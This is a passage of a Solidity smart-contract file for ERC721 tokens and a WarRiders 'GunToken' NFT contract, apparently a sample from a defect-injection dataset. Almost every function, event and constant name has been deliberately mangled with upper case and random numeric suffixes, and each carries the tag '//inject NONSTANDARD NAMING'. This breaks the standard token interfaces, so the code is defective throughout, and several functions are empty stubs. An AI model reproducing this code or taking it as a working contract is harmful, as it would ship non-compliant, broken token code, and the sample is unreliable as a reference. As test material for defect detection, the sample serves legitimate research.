_operatorApprovals[owner][operator]; } function TRANSFERFROM196(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING //solhint-disable-next-line max-line-length require(_ISAPPROVEDOROWNER717(_MSGSENDER492(), tokenId), "ERC721: transfer caller is not owner nor approved"); _TRANSFERFROM267(from, to, tokenId); } function SAFETRANSFERFROM763(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING SAFETRANSFERFROM763(from, to, tokenId, ""); } function SAFETRANSFERFROM763(address from, address to, uint256 tokenId, bytes memory _data) public { //inject NONSTANDARD NAMING require(_ISAPPROVEDOROWNER717(_MSGSENDER492(), tokenId), "ERC721: transfer caller is not owner nor approved"); _SAFETRANSFERFROM629(from, to, tokenId, _data); } function _SAFETRANSFERFROM629(address from, address to, uint256 tokenId, bytes memory _data) internal { //inject NONSTANDARD NAMING _TRANSFERFROM267(from, to, tokenId); require(_CHECKONERC721RECEIVED542(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _EXISTS310(uint256 tokenId) internal view returns (bool) { //inject NONSTANDARD NAMING address owner = _tokenOwner[tokenId]; return owner != address(0); } function _ISAPPROVEDOROWNER717(address spender, uint256 tokenId) internal view returns (bool) { //inject NONSTANDARD NAMING require(_EXISTS310(tokenId), "ERC721: operator query for nonexistent token"); address owner = OWNEROF501(tokenId); return (spender == owner || GETAPPROVED68(tokenId) == spender || ISAPPROVEDFORALL189(owner, spender)); } function _SAFEMINT616(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING _SAFEMINT616(to, tokenId, ""); } function _SAFEMINT616(address to, uint256 tokenId, bytes memory _data) internal { //inject NONSTANDARD NAMING _MINT975(to, tokenId); require(_CHECKONERC721RECEIVED542(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _MINT975(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING require(to != address(0), "ERC721: mint to the zero address"); require(!_EXISTS310(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].INCREMENT933(); emit TRANSFER150(address(0), to, tokenId); } function _BURN381(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING require(OWNEROF501(tokenId) == owner, "ERC721: burn of token that is not own"); _CLEARAPPROVAL18(tokenId); _ownedTokensCount[owner].DECREMENT749(); _tokenOwner[tokenId] = address(0); emit TRANSFER150(owner, address(0), tokenId); } function _BURN381(uint256 tokenId) internal { //inject NONSTANDARD NAMING _BURN381(OWNEROF501(tokenId), tokenId); } function _TRANSFERFROM267(address from, address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING require(OWNEROF501(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _CLEARAPPROVAL18(tokenId); _ownedTokensCount[from].DECREMENT749(); _ownedTokensCount[to].INCREMENT933(); _tokenOwner[tokenId] = to; emit TRANSFER150(from, to, tokenId); } function _CHECKONERC721RECEIVED542(address from, address to, uint256 tokenId, bytes memory _data) //inject NONSTANDARD NAMING internal returns (bool) { if (!to.ISCONTRACT48()) { return true; } bytes4 retval = IERC721Receiver(to).ONERC721RECEIVED434(_MSGSENDER492(), from, tokenId, _data); return (retval == _erc721_received995); } function _CLEARAPPROVAL18(uint256 tokenId) private { //inject NONSTANDARD NAMING if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } contract ERC721Enumerable is Context, ERC165, ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _interface_id_erc721_enumerable707 = 0x780e9d63; //inject NONSTANDARD NAMING constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _REGISTERINTERFACE617(_interface_id_erc721_enumerable707); } function TOKENOFOWNERBYINDEX536(address owner, uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING require(index < BALANCEOF194(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function TOTALSUPPLY60() public view returns (uint256) { //inject NONSTANDARD NAMING return _allTokens.length; } function TOKENBYINDEX294(uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING require(index < TOTALSUPPLY60(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _TRANSFERFROM267(address from, address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._TRANSFERFROM267(from, to, tokenId); _REMOVETOKENFROMOWNERENUMERATION42(from, tokenId); _ADDTOKENTOOWNERENUMERATION485(to, tokenId); } function _MINT975(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._MINT975(to, tokenId); _ADDTOKENTOOWNERENUMERATION485(to, tokenId); _ADDTOKENTOALLTOKENSENUMERATION66(tokenId); } function _BURN381(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._BURN381(owner, tokenId); _REMOVETOKENFROMOWNERENUMERATION42(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _REMOVETOKENFROMALLTOKENSENUMERATION970(tokenId); } function _TOKENSOFOWNER469(address owner) internal view returns (uint256[] storage) { //inject NONSTANDARD NAMING return _ownedTokens[owner]; } function _ADDTOKENTOOWNERENUMERATION485(address to, uint256 tokenId) private { //inject NONSTANDARD NAMING _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } function _ADDTOKENTOALLTOKENSENUMERATION66(uint256 tokenId) private { //inject NONSTANDARD NAMING _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _REMOVETOKENFROMOWNERENUMERATION42(address from, uint256 tokenId) private { //inject NONSTANDARD NAMING // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.SUB290(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } function _REMOVETOKENFROMALLTOKENSENUMERATION970(uint256 tokenId) private { //inject NONSTANDARD NAMING // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.SUB290(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } contract Ownable is Context { address private _owner; event OWNERSHIPTRANSFERRED55(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER492(); _owner = msgSender; emit OWNERSHIPTRANSFERRED55(address(0), msgSender); } function OWNER824() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER845() { //inject NONSTANDARD NAMING require(ISOWNER804(), "Ownable: caller is not the owner"); _; } function ISOWNER804() public view returns (bool) { //inject NONSTANDARD NAMING return _MSGSENDER492() == _owner; } function RENOUNCEOWNERSHIP585() public ONLYOWNER845 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED55(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP274(address newOwner) public ONLYOWNER845 { //inject NONSTANDARD NAMING _TRANSFEROWNERSHIP356(newOwner); } function _TRANSFEROWNERSHIP356(address newOwner) internal { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED55(_owner, newOwner); _owner = newOwner; } } contract NoMintERC721 is Context, ERC165, IERC721 { using SafeMath for uint256; using Address for address; using Counters for Counters.Counter; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _erc721_received995 = 0x150b7a02; //inject NONSTANDARD NAMING // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => Counters.Counter) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _interface_id_erc721781 = 0x80ac58cd; //inject NONSTANDARD NAMING constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _REGISTERINTERFACE617(_interface_id_erc721781); } function BALANCEOF194(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING require(owner != address(0), "ERC721: balance query for the zero address"); return _ownedTokensCount[owner].CURRENT546(); } function OWNEROF501(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING address owner = _tokenOwner[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function APPROVE594(address to, uint256 tokenId) public { //inject NONSTANDARD NAMING address owner = OWNEROF501(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_MSGSENDER492() == owner || ISAPPROVEDFORALL189(owner, _MSGSENDER492()), "ERC721: approve caller is not owner nor approved for all" ); _tokenApprovals[tokenId] = to; emit APPROVAL578(owner, to, tokenId); } function GETAPPROVED68(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING require(_EXISTS310(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function SETAPPROVALFORALL944(address to, bool approved) public { //inject NONSTANDARD NAMING require(to != _MSGSENDER492(), "ERC721: approve to caller"); _operatorApprovals[_MSGSENDER492()][to] = approved; emit APPROVALFORALL29(_MSGSENDER492(), to, approved); } function ISAPPROVEDFORALL189(address owner, address operator) public view returns (bool) { //inject NONSTANDARD NAMING return _operatorApprovals[owner][operator]; } function TRANSFERFROM196(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING //solhint-disable-next-line max-line-length require(_ISAPPROVEDOROWNER717(_MSGSENDER492(), tokenId), "ERC721: transfer caller is not owner nor approved"); _TRANSFERFROM267(from, to, tokenId); } function SAFETRANSFERFROM763(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING SAFETRANSFERFROM763(from, to, tokenId, ""); } function SAFETRANSFERFROM763(address from, address to, uint256 tokenId, bytes memory _data) public { //inject NONSTANDARD NAMING require(_ISAPPROVEDOROWNER717(_MSGSENDER492(), tokenId), "ERC721: transfer caller is not owner nor approved"); _SAFETRANSFERFROM629(from, to, tokenId, _data); } function _SAFETRANSFERFROM629(address from, address to, uint256 tokenId, bytes memory _data) internal { //inject NONSTANDARD NAMING _TRANSFERFROM267(from, to, tokenId); require(_CHECKONERC721RECEIVED542(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _EXISTS310(uint256 tokenId) internal view returns (bool) { //inject NONSTANDARD NAMING address owner = _tokenOwner[tokenId]; return owner != address(0); } function _ISAPPROVEDOROWNER717(address spender, uint256 tokenId) internal view returns (bool) { //inject NONSTANDARD NAMING require(_EXISTS310(tokenId), "ERC721: operator query for nonexistent token"); address owner = OWNEROF501(tokenId); return (spender == owner || GETAPPROVED68(tokenId) == spender || ISAPPROVEDFORALL189(owner, spender)); } function _ADDTOKENTO735(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING require(to != address(0), "ERC721: mint to the zero address"); require(!_EXISTS310(tokenId), "ERC721: token already minted"); _tokenOwner[tokenId] = to; _ownedTokensCount[to].INCREMENT933(); } function _BURN381(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING require(OWNEROF501(tokenId) == owner, "ERC721: burn of token that is not own"); _CLEARAPPROVAL18(tokenId); _ownedTokensCount[owner].DECREMENT749(); _tokenOwner[tokenId] = address(0); emit TRANSFER150(owner, address(0), tokenId); } function _BURN381(uint256 tokenId) internal { //inject NONSTANDARD NAMING _BURN381(OWNEROF501(tokenId), tokenId); } function _TRANSFERFROM267(address from, address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING require(OWNEROF501(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _CLEARAPPROVAL18(tokenId); _ownedTokensCount[from].DECREMENT749(); _ownedTokensCount[to].INCREMENT933(); _tokenOwner[tokenId] = to; emit TRANSFER150(from, to, tokenId); } function _CHECKONERC721RECEIVED542(address from, address to, uint256 tokenId, bytes memory _data) //inject NONSTANDARD NAMING internal returns (bool) { if (!to.ISCONTRACT48()) { return true; } bytes4 retval = IERC721Receiver(to).ONERC721RECEIVED434(_MSGSENDER492(), from, tokenId, _data); return (retval == _erc721_received995); } function _CLEARAPPROVAL18(uint256 tokenId) private { //inject NONSTANDARD NAMING if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } } contract NoMintERC721Enumerable is Context, ERC165, NoMintERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => uint256[]) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; bytes4 private constant _interface_id_erc721_enumerable707 = 0x780e9d63; //inject NONSTANDARD NAMING constructor () public { // register the supported interface to conform to ERC721Enumerable via ERC165 _REGISTERINTERFACE617(_interface_id_erc721_enumerable707); } function TOKENOFOWNERBYINDEX536(address owner, uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING require(index < BALANCEOF194(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function TOTALSUPPLY60() public view returns (uint256) { //inject NONSTANDARD NAMING return _allTokens.length; } function TOKENBYINDEX294(uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING require(index < TOTALSUPPLY60(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _TRANSFERFROM267(address from, address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._TRANSFERFROM267(from, to, tokenId); _REMOVETOKENFROMOWNERENUMERATION42(from, tokenId); _ADDTOKENTOOWNERENUMERATION485(to, tokenId); } function _ADDTOKENTO735(address to, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._ADDTOKENTO735(to, tokenId); _ADDTOKENTOOWNERENUMERATION485(to, tokenId); _ADDTOKENTOALLTOKENSENUMERATION66(tokenId); } function _BURN381(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._BURN381(owner, tokenId); _REMOVETOKENFROMOWNERENUMERATION42(owner, tokenId); // Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund _ownedTokensIndex[tokenId] = 0; _REMOVETOKENFROMALLTOKENSENUMERATION970(tokenId); } function _TOKENSOFOWNER469(address owner) internal view returns (uint256[] storage) { //inject NONSTANDARD NAMING return _ownedTokens[owner]; } function _ADDTOKENTOOWNERENUMERATION485(address to, uint256 tokenId) private { //inject NONSTANDARD NAMING _ownedTokensIndex[tokenId] = _ownedTokens[to].length; _ownedTokens[to].push(tokenId); } function _ADDTOKENTOALLTOKENSENUMERATION66(uint256 tokenId) private { //inject NONSTANDARD NAMING _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _REMOVETOKENFROMOWNERENUMERATION42(address from, uint256 tokenId) private { //inject NONSTANDARD NAMING // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownedTokens[from].length.SUB290(1); uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array _ownedTokens[from].length--; // Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by // lastTokenId, or just over the end of the array if the token was the last one). } function _REMOVETOKENFROMALLTOKENSENUMERATION970(uint256 tokenId) private { //inject NONSTANDARD NAMING // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length.SUB290(1); uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array _allTokens.length--; _allTokensIndex[tokenId] = 0; } } contract OveridableERC721Metadata is Context, ERC165, NoMintERC721, IERC721Metadata { // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; bytes4 private constant _interface_id_erc721_metadata259 = 0x5b5e139f; //inject NONSTANDARD NAMING constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _REGISTERINTERFACE617(_interface_id_erc721_metadata259); } function NAME560() external view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SYMBOL235() external view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function TOKENURI443(uint256 tokenId) public view returns (string memory) { //inject NONSTANDARD NAMING require(_EXISTS310(tokenId), "ERC721Metadata: URI query for nonexistent token"); return _tokenURIs[tokenId]; } function _SETTOKENURI639(uint256 tokenId, string memory uri) internal { //inject NONSTANDARD NAMING require(_EXISTS310(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = uri; } function _BURN381(address owner, uint256 tokenId) internal { //inject NONSTANDARD NAMING super._BURN381(owner, tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } contract GunToken is NoMintERC721, NoMintERC721Enumerable, OveridableERC721Metadata, Ownable { using strings for *; address internal factory; uint16 public constant maxallocation33 = 4000; //inject NONSTANDARD NAMING uint256 public lastAllocation = 0; event BATCHTRANSFER76(address indexed from, address indexed to, uint256 indexed batchIndex); //inject NONSTANDARD NAMING struct Batch { address owner; uint16 size; uint8 category; uint256 startId; uint256 startTokenId; } Batch[] public allBatches; mapping(address => uint256) unactivatedBalance; mapping(uint256 => bool) isActivated; mapping(uint256 => bool) public outOfBatch; //Used for enumeration mapping(address => Batch[]) public batchesOwned; //Batch index to owner batch index mapping(uint256 => uint256) public ownedBatchIndex; mapping(uint8 => uint256) internal totalGunsMintedByCategory; uint256 internal _totalSupply; modifier ONLYFACTORY168 { //inject NONSTANDARD NAMING require(msg.sender == factory, "Not authorized"); _; } constructor(address factoryAddress) public OveridableERC721Metadata("WarRiders Gun", "WRG") { factory = factoryAddress; } function CATEGORYTYPETOID957(uint8 category, uint256 categoryId) public view returns (uint256) { //inject NONSTANDARD NAMING for (uint i = 0; i < allBatches.length; i++) { Batch memory a = allBatches[i]; if (a.category != category) continue; uint256 endId = a.startId + a.size; if (categoryId >= a.startId && categoryId < endId) { uint256 dif = categoryId - a.startId; return a.startTokenId + dif; } } revert(); } function FALLBACKCOUNT353(address __owner) public view returns (uint256) { //inject NONSTANDARD NAMING } function FALLBACKINDEX7(address __owner, uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING } function MIGRATE859(uint256 count) public ONLYOWNER845 returns (uint256) { //inject NONSTANDARD NAMING //Empty for interface } function MIGRATESINGLE765() public ONLYOWNER845 returns (uint256) { //inject NONSTANDARD NAMING //Empty for interface } function RECOVERBATCH2175(uint256 index, uint256 tokenStart, uint256 tokenEnd) public ONLYOWNER845 { //inject NONSTANDARD NAMING } function MIGRATEBATCH628(uint256 index) public ONLYOWNER845 returns (uint256) { //inject NONSTANDARD NAMING } function RECOVERBATCH1434(uint256 index) public ONLYOWNER845 { //inject NONSTANDARD NAMING } function TOKENOFOWNERBYINDEX536(address owner, uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING return TOKENOFOWNER723(owner)[index]; } function GETBATCHCOUNT927(address owner) public view returns(uint256) { //inject NONSTANDARD NAMING return batchesOwned[owner].length; } function UPDATEGUNFACTORY282(address _factory) public ONLYOWNER845 { //inject NONSTANDARD NAMING } function GETTOKENSINBATCH347(address owner, uint256 index) public view returns (uint256[] memory) { //inject NONSTANDARD NAMING Batch memory a = batchesOwned[owner][index]; uint256[] memory result = new uint256[](a.size); uint256 pos = 0; uint end = a.startTokenId + a.size; for (uint i = a.startTokenId; i < end; i++) { if (isActivated[i] && super.OWNEROF501(i) != owner) { continue; } result[pos] = i; pos++; } require(pos > 0); uint256 subAmount = a.size - pos; assembly { mstore(result, sub(mload(result), subAmount)) } return result; } function TOKENBYINDEX294(uint256 index) public view returns (uint256) { //inject NONSTANDARD NAMING return ALLTOKENS936()[index]; } function ALLTOKENS936() public view returns (uint256[] memory) { //inject NONSTANDARD NAMING uint256[] memory result = new uint256[](TOTALSUPPLY60()); uint pos = 0; for (uint i = 0; i < allBatches.length; i++) { Batch memory a = allBatches[i]; uint end = a.startTokenId + a.size; for (uint j = a.startTokenId; j < end; j++) { result[pos] = j; pos++; } } return result; } function TOKENOFOWNER723(address owner) public view returns (uint256[] memory) { //inject NONSTANDARD NAMING uint256[] memory result = new uint256[](BALANCEOF194(owner)); uint pos = 0; for (uint i = 0; i < batchesOwned[owner].length; i++) { Batch memory a = batchesOwned[owner][i]; uint end = a.startTokenId + a.size; for (uint j = a.startTokenId; j < end; j++) { if (isActivated[j] && super.OWNEROF501(j) != owner) { continue; } result[pos] = j; pos++; } } uint256[] memory fallbackOwned = _TOKENSOFOWNER469(owner); for (uint i = 0; i < fallbackOwned.length; i++) { result[pos] = fallbackOwned[i]; pos++; } return result; } function BALANCEOF194(address owner) public view returns (uint256) { //inject NONSTANDARD NAMING require(owner != address(0), "ERC721: balance query for the zero address"); return super.BALANCEOF194(owner) + unactivatedBalance[owner]; } function OWNEROF501(uint256 tokenId) public view returns (address) { //inject NONSTANDARD NAMING require(EXISTS127(tokenId), "Token doesn't exist!"); if (isActivated[tokenId]) { return super.OWNEROF501(tokenId); } uint256 index = GETBATCHINDEX786(tokenId); require(index < allBatches.length, "Token batch doesn't exist"); Batch memory a = allBatches[index]; require(tokenId < a.startTokenId + a.size); return a.owner; } function EXISTS127(uint256 _tokenId) public view returns (bool) { //inject NONSTANDARD NAMING if (isActivated[_tokenId]) { return super._EXISTS310(_tokenId); } else { uint256 index = GETBATCHINDEX786(_tokenId); if (index < allBatches.length) { Batch memory a = allBatches[index]; uint end = a.startTokenId + a.size; return _tokenId < end; } return false; } } function TOTALSUPPLY60() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function CLAIMALLOCATION316(address to, uint16 size, uint8 category) public ONLYFACTORY168 returns (uint) { //inject NONSTANDARD NAMING require(size < maxallocation33, "Size must be smaller than maxAllocation"); allBatches.push(Batch({ owner: to, size: size, category: category, startId: totalGunsMintedByCategory[category], startTokenId: lastAllocation })); uint end = lastAllocation + size; for (uint i = lastAllocation; i < end; i++) { emit TRANSFER150(address(0), to, i); } lastAllocation += maxallocation33; unactivatedBalance[to] += size; totalGunsMintedByCategory[category] += size; _ADDBATCHTOOWNER461(to, allBatches[allBatches.length - 1]); _totalSupply += size; return lastAllocation; } function TRANSFERFROM196(address from, address to, uint256 tokenId) public { //inject NONSTANDARD NAMING if (!isActivated[tokenId]) { ACTIVATE8(tokenId); } super.TRANSFERFROM196(from, to, tokenId); } function ACTIVATE8(uint256 tokenId) public { //inject NONSTANDARD NAMING require(!isActivated[tokenId], "Token already activated"); uint256 index = GETBATCHINDEX786(tokenId); require(index < allBatches.length, "Token batch doesn't exist"); Batch memory a = allBatches[index]; require(tokenId < a.startTokenId + a.size); isActivated[tokenId] = true; ADDTOKENTO758(a.owner, tokenId); unactivatedBalance[a.owner]--; } function GETBATCHINDEX786(uint256 tokenId) public pure returns (uint256) { //inject NONSTANDARD NAMING uint256 index = (tokenId / maxallocation33); return index; } function CATEGORYFORTOKEN792(uint256 tokenId) public view returns (uint8) { //inject NONSTANDARD NAMING uint256 index = GETBATCHINDEX786(tokenId); require(index < allBatches.length, "Token batch doesn't exist"); Batch memory a = allBatches[index]; return a.category; } function CATEGORYIDFORTOKEN949(uint256 tokenId) public view returns (uint256) { //inject NONSTANDARD NAMING uint256 index = GETBATCHINDEX786(tokenId); require(index < allBatches.length, "Token batch doesn't exist"); Batch memory a = allBatches[index]; uint256 categoryId = (tokenId % maxallocation33) + a.startId; return categoryId; } function UINTTOSTRING328(uint v) internal pure returns (string memory) { //inject NONSTANDARD NAMING if (v == 0) { return "0"; } uint j = v; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (v != 0) { bstr[k--] = byte(uint8(48 + v % 10)); v /= 10; } return string(bstr); } function TOKENURI443(uint256 tokenId) public view returns (string memory) { //inject NONSTANDARD NAMING require(EXISTS127(tokenId), "Token doesn't exist!"); if (isActivated[tokenId]) { return super.TOKENURI443(tokenId); } else { //Predict the token URI uint8 category = CATEGORYFORTOKEN792(tokenId); uint256 _categoryId = CATEGORYIDFORTOKEN949(tokenId); string memory id = UINTTOSTRING328(category).TOSLICE667().CONCAT154("/".TOSLICE667()).TOSLICE667().CONCAT154(UINTTOSTRING328(_categoryId).TOSLICE667().CONCAT154(".json".TOSLICE667()).TOSLICE667()); string memory _base = "https://vault.warriders.com/guns/"; //Final URL: https://vault.warriders.com/guns/<category>/<category_id>.json string memory _metadata = _base.TOSLICE667().CONCAT154(id.TOSLICE667()); return _metadata; } } function ADDTOKENTO758(address _to, uint256 _tokenId) internal { //inject NONSTANDARD NAMING //Predict the token URI uint8 category = CATEGORYFORTOKEN792(_tokenId); uint256 _categoryId = CATEGORYIDFORTOKEN949(_tokenId); string memory id = UINTTOSTRING328(category).TOSLICE667().CONCAT154("/".TOSLICE667()).TOSLICE667().CONCAT154(UINTTOSTRING328(_categoryId).TOSLICE667().CONCAT154(".json".TOSLICE667()).TOSLICE667()); string memory _base = "https://vault.warriders.com/guns/"; //Final URL: https://vault.warriders.com/guns/<category>/<category_id>.json string memory _metadata = _base.TOSLICE667().CONCAT154(id.TOSLICE667()); super._ADDTOKENTO735(_to, _tokenId); super._SETTOKENURI639(_tokenId, _metadata); } function CEIL247(uint a, uint m) internal pure returns (uint ) { //inject NONSTANDARD NAMING return ((a + m - 1) / m) * m; } function _REMOVEBATCHFROMOWNER136(address from, Batch memory batch) private { //inject NONSTANDARD NAMING // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 globalIndex = GETBATCHINDEX786(batch.startTokenId); uint256 lastBatchIndex = batchesOwned[from].length.SUB290(1); uint256 batchIndex = ownedBatchIndex[globalIndex]; // When the token to delete is the last token, the swap operation is unnecessary if (batchIndex != lastBatchIndex) { Batch memory lastBatch = batchesOwned[from][lastBatchIndex]; uint256 lastGlobalIndex = GETBATCHINDEX786(lastBatch.startTokenId); batchesOwned[from][batchIndex] = lastBatch; // Move the last batch to the slot of the to-delete batch ownedBatchIndex[lastGlobalIndex] = batchIndex; // Update the moved batch's index } // This also deletes the contents at the last position of the array batchesOwned[from].length--; // Note that ownedBatchIndex[batch] hasn't been cleared: it still points to the old slot (now occupied by // lastBatch, or just over the end of the array if the batch was the last one). } function _ADDBATCHTOOWNER461(address to, Batch memory batch) private { //inject NONSTANDARD NAMING uint256 globalIndex = GETBATCHINDEX786(batch.startTokenId); ownedBatchIndex[globalIndex] = batchesOwned[to].length; batchesOwned[to].push(batch); } function BATCHTRANSFER268(uint256 batchIndex, address to) public { //inject NONSTANDARD NAMING Batch storage a = allBatches[batchIndex]; address previousOwner = a.owner; require(a.owner == msg.sender); _REMOVEBATCHFROMOWNER136(previousOwner, a); a.owner = to; _ADDBATCHTOOWNER461(to, a); emit BATCHTRANSFER76(previousOwner, to, batchIndex); //Now to need to emit a bunch of transfer events uint end = a.startTokenId + a.size; uint256 unActivated = 0; for (uint i = a.startTokenId; i < end; i++) { if (isActivated[i]) { if (OWNEROF501(i) != previousOwner) continue; //The previous owner didn't own this token, don't emit an event } else { unActivated++; } emit TRANSFER150(previousOwner, to, i); } unactivatedBalance[to] += unActivated; unactivatedBalance[previousOwner] -= unActivated; } } contract ApproveAndCallFallBack { function RECEIVEAPPROVAL438(address from, uint256 tokens, address token, bytes memory data) public payable returns (bool); //inject NONSTANDARD NAMING } contract ERC20Basic { function TOTALSUPPLY60() public view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF194(address who) public view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER702(address to, uint256 value) public returns (bool); //inject NONSTANDARD NAMING event TRANSFER150(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING } contract ERC20 is ERC20Basic { 